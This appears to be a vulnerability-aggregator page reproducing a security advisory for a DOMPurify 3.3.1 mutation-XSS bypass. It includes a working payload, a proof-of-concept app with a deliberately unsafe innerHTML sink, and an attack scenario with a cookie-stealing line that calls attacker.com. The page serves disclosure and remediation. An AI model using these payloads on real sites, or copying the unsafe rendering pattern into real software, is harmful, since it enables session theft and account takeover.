GHSA-h8r8-wccr-v5f2: DOMPurify: mXSS bypass achieves XSS via parse-context switch
GHSA-h8r8-wccr-v5f2 MEDIUMDOMPurify 3.3.1 can be bypassed via mutation-XSS when sanitized output is re-embedded into special HTML wrappers (xmp, script, iframe, noembed, noframes, noscript) using innerHTML — the sanitized string mutates on the second browser parse. Any AI application that renders user-supplied or LLM-generated HTML through DOMPurify and then re-wraps it via innerHTML is vulnerable to stored or reflected XSS. Patch to 3.3.2 immediately and audit your rendering pipeline for innerHTML combined with these special-wrapper elements.
What is the risk?
Medium CVSS but operationally high for AI/ML web platforms. The PoC is trivially reproducible and requires only that attacker-controlled input reaches the DOMPurify + innerHTML render path — a pattern common in AI chat UIs, RAG interfaces, and LLM playgrounds. DOMPurify's ~12M weekly npm downloads amplify exposure across the AI tooling ecosystem. Teams that explicitly trust DOMPurify output as safe for re-injection are most at risk, as the library's reputation creates a false security guarantee at the sink layer.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| dompurify | npm | < 3.3.2 | 3.3.2 |
Do you use dompurify? You're affected.
How severe is it?
What should I do?
6 steps-
PATCH
upgrade dompurify to >= 3.3.2 immediately — this is a targeted fix for the mXSS context-switch vectors.
-
AUDIT
search your codebase for innerHTML assignments paired with xmp, script, iframe, noembed, noframes, or noscript wrapper strings.
-
FIX PATTERNS
replace innerHTML string composition with DOM-safe APIs (createElement, textContent, setAttribute) — never concatenate sanitized strings into new HTML.
-
RENDERING RULE
sanitize at the final render context; never sanitize server-side then re-embed the string client-side in a different parser context.
-
REGRESSION TESTS
add </xmp>, </noscript>, </noembed>, and equivalent parser-breakout sequences to your XSS test suite.
-
CSP
enforce a strict Content-Security-Policy (script-src 'self', no unsafe-inline) to limit blast radius while patching proceeds.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-h8r8-wccr-v5f2?
DOMPurify 3.3.1 can be bypassed via mutation-XSS when sanitized output is re-embedded into special HTML wrappers (xmp, script, iframe, noembed, noframes, noscript) using innerHTML — the sanitized string mutates on the second browser parse. Any AI application that renders user-supplied or LLM-generated HTML through DOMPurify and then re-wraps it via innerHTML is vulnerable to stored or reflected XSS. Patch to 3.3.2 immediately and audit your rendering pipeline for innerHTML combined with these special-wrapper elements.
Is GHSA-h8r8-wccr-v5f2 actively exploited?
No confirmed active exploitation of GHSA-h8r8-wccr-v5f2 has been reported, but organizations should still patch proactively.
How to fix GHSA-h8r8-wccr-v5f2?
1. PATCH: upgrade dompurify to >= 3.3.2 immediately — this is a targeted fix for the mXSS context-switch vectors. 2. AUDIT: search your codebase for innerHTML assignments paired with xmp, script, iframe, noembed, noframes, or noscript wrapper strings. 3. FIX PATTERNS: replace innerHTML string composition with DOM-safe APIs (createElement, textContent, setAttribute) — never concatenate sanitized strings into new HTML. 4. RENDERING RULE: sanitize at the final render context; never sanitize server-side then re-embed the string client-side in a different parser context. 5. REGRESSION TESTS: add </xmp>, </noscript>, </noembed>, and equivalent parser-breakout sequences to your XSS test suite. 6. CSP: enforce a strict Content-Security-Policy (script-src 'self', no unsafe-inline) to limit blast radius while patching proceeds.
What systems are affected by GHSA-h8r8-wccr-v5f2?
This vulnerability affects the following AI/ML architecture patterns: AI chat interfaces, RAG web UIs, LLM playground applications, Agent dashboards, AI SaaS multi-tenant frontends.
What is the CVSS score for GHSA-h8r8-wccr-v5f2?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011 User Execution AML.T0048.003 User Harm AML.T0049 Exploit Public-Facing Application AML.T0078 Drive-by Compromise Compliance Controls Affected
What are the technical details?
Original Advisory
## Description A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC). ## Vulnerability The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern). ## PoC 1. Start the PoC app: ```bash npm install npm start ``` 2. Open `http://localhost:3001`. 3. Set `Wrapper en sink` to `xmp`. 4. Use payload: ```html <img src=x alt="</xmp><img src=x onerror=alert('expoc')>"> ``` 5. Click `Sanitize + Render`. 6. Observe: - `Sanitized response` still contains the `</xmp>` sequence inside `alt`. - The sink reparses to include `<img src="x" onerror="alert('expoc')">`. - `alert('expoc')` is triggered. 7. Files: - index.html ```html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>expoc - DOMPurify SSR PoC</title> <style> :root { --bg: #f7f8fb; --panel: #ffffff; --line: #d8dce6; --text: #0f172a; --muted: #475569; --accent: #0ea5e9; } * { box-sizing: border-box; } body { margin: 0; font-family: "SF Mono", Menlo, Consolas, monospace; color: var(--text); background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%); } main { max-width: 980px; margin: 28px auto; padding: 0 16px 20px; } h1 { margin: 0 0 10px; font-size: 1.45rem; } p { margin: 0; color: var(--muted); } .grid { display: grid; gap: 14px; margin-top: 16px; } .card { background: var(--panel); border: 1px solid var(--line); border-radius: 12px; padding: 14px; } label { display: block; margin-bottom: 7px; font-size: 0.85rem; color: var(--muted); } textarea, input, select, button { width: 100%; border: 1px solid var(--line); border-radius: 8px; padding: 9px 10px; font: inherit; background: #fff; } textarea { min-height: 110px; resize: vertical; } .row { display: grid; grid-template-columns: 1fr 230px; gap: 12px; } button { cursor: pointer; background: var(--accent); color: #fff; border-color: #0284c7; } #sink { min-height: 90px; border: 1px dashed #94a3b8; border-radius: 8px; padding: 10px; background: #f8fafc; } pre { margin: 0; white-space: pre-wrap; word-break: break-word; } .note { margin-top: 8px; font-size: 0.85rem; } .status-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 8px; margin-top: 10px; } .status-item { border: 1px solid var(--line); border-radius: 8px; padding: 8px 10px; font-size: 0.85rem; background: #fff; } .status-item.vuln { border-color: #ef4444; background: #fef2f2; } .status-item.safe { border-color: #22c55e; background: #f0fdf4; } @media (max-width: 760px) { .row { grid-template-columns: 1fr; } } </style> </head> <body> <main> <h1>expoc - DOMPurify Server-Side PoC</h1> <p> Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML. </p> <div class="grid"> <section class="card"> <label for="payload">Payload</label> <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea> <div class="row" style="margin-top: 10px;"> <div> <label for="wrapper">Wrapper en sink</label> <select id="wrapper"> <option value="div">div</option> <option value="textarea">textarea</option> <option value="title">title</option> <option value="style">style</option> <option value="script" selected>script</option> <option value="xmp">xmp</option> <option value="iframe">iframe</option> <option value="noembed">noembed</option> <option value="noframes">noframes</option> <option value="noscript">noscript</option> </select> </div> <div style="display:flex;align-items:end;"> <button id="run" type="button">Sanitize + Render</button> </div> </div> <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'</code>.</p> <div class="status-grid"> <div class="status-item vuln">script (vulnerable)</div> <div class="status-item vuln">xmp (vulnerable)</div> <div class="status-item vuln">iframe (vulnerable)</div> <div class="status-item vuln">noembed (vulnerable)</div> <div class="status-item vuln">noframes (vulnerable)</div> <div class="status-item vuln">noscript (vulnerable)</div> <div class="status-item safe">div (no vulnerable)</div> <div class="status-item safe">textarea (no vulnerable)</div> <div class="status-item safe">title (no vulnerable)</div> <div class="status-item safe">style (no vulnerable)</div> </div> </section> <section class="card"> <label>Sanitized response</label> <pre id="sanitized">(empty)</pre> </section> <section class="card"> <label>Sink</label> <div id="sink"></div> </section> </div> </main> <script> const payload = document.getElementById('payload'); const wrapper = document.getElementById('wrapper'); const run = document.getElementById('run'); const sanitizedNode = document.getElementById('sanitized'); const sink = document.getElementById('sink'); run.addEventListener('click', async () => { const response = await fetch('/sanitize', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ input: payload.value }) }); const data = await response.json(); const sanitized = data.sanitized || ''; const w = wrapper.value; sanitizedNode.textContent = sanitized; sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>'; }); </script> </body> </html> ``` - server.js ```js const express = require('express'); const path = require('path'); const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const app = express(); const port = process.env.PORT || 3001; const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); app.use(express.json()); app.use(express.static(path.join(__dirname, 'public'))); app.get('/health', (_req, res) => { res.json({ ok: true, service: 'expoc' }); }); app.post('/sanitize', (req, res) => { const input = typeof req.body?.input === 'string' ? req.body.input : ''; const sanitized = DOMPurify.sanitize(input); res.json({ sanitized }); }); app.listen(port, () => { console.log(`expoc running at http://localhost:${port}`); }); ``` - package.json ```json { "name": "expoc", "version": "1.0.0", "main": "server.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "start": "node server.js", "dev": "node server.js" }, "keywords": [], "author": "", "license": "ISC", "description": "", "dependencies": { "dompurify": "^3.3.1", "express": "^5.2.1", "jsdom": "^28.1.0" } } ``` ## Evidence - PoC [daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90) - XSS triggered <img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" /> ## Why This Happens This is a mutation-XSS pattern caused by a parse-context mismatch: - Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules. - Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior). - Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure. Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk. ## Remediation Guidance 1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`. 2. Keep the rendering context stable from sanitize to sink. 3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition. 4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.). 5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers). Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1. Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).
Exploitation Scenario
An attacker targeting a multi-tenant AI chat platform submits a prompt containing: <img src=x alt="</xmp><img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>">. The server sanitizes this with DOMPurify 3.3.1 — output retains </xmp> inside the alt attribute, which DOMPurify considers structurally benign. The frontend renders the sanitized string by injecting it into a <xmp> wrapper via innerHTML. The browser's second parse treats </xmp> as a real closing tag, breaking out of the raw-text context and activating the onerror handler. The XSS fires, exfiltrating session tokens and Stripe/Clerk tokens stored in localStorage. Because the conversation is stored and shared, this becomes stored XSS affecting every user who opens that thread — ideal for account takeover across a multi-tenant AI SaaS deployment.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Supply Chain CVE-2024-2912 10.0 BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Supply Chain CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Supply Chain CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Supply Chain CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same attack type: Code Execution